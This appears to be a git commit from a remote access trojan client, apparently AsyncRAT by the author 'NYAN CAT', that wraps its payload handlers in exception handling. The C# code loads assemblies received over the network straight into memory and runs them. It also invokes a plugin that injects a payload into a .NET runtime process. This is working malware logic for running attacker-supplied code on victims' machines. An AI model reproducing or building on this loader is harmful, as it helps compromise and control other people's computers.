Add send exception

This commit is contained in:
NYAN CAT 2019-05-23 03:53:37 +03:00
parent cd7846fabe
commit 8b0cb0c5f3

View File

@ -39,13 +39,20 @@ namespace Client.Handle_Packet
{ {
new Thread(delegate () new Thread(delegate ()
{ {
Assembly loader = Assembly.Load(buffer); try
object[] parm = null;
if (loader.EntryPoint.GetParameters().Length > 0)
{ {
parm = new object[] { new string[] { null } }; Assembly loader = Assembly.Load(buffer);
object[] parm = null;
if (loader.EntryPoint.GetParameters().Length > 0)
{
parm = new object[] { new string[] { null } };
}
loader.EntryPoint.Invoke(null, parm);
}
catch (Exception ex)
{
Packet.Error(ex);
} }
loader.EntryPoint.Invoke(null, parm);
}) })
{ IsBackground = true }.Start(); { IsBackground = true }.Start();
@ -54,9 +61,16 @@ namespace Client.Handle_Packet
{ {
new Thread(delegate () new Thread(delegate ()
{ {
Assembly loader = Assembly.Load(plugin); try
MethodInfo meth = loader.GetType("Plugin.Program").GetMethod("Run"); {
meth.Invoke(null, new object[] { buffer, Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injection) }); Assembly loader = Assembly.Load(plugin);
MethodInfo meth = loader.GetType("Plugin.Program").GetMethod("Run");
meth.Invoke(null, new object[] { buffer, Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injection) });
}
catch (Exception ex)
{
Packet.Error(ex);
}
}) })
{ IsBackground = true }.Start(); { IsBackground = true }.Start();
} }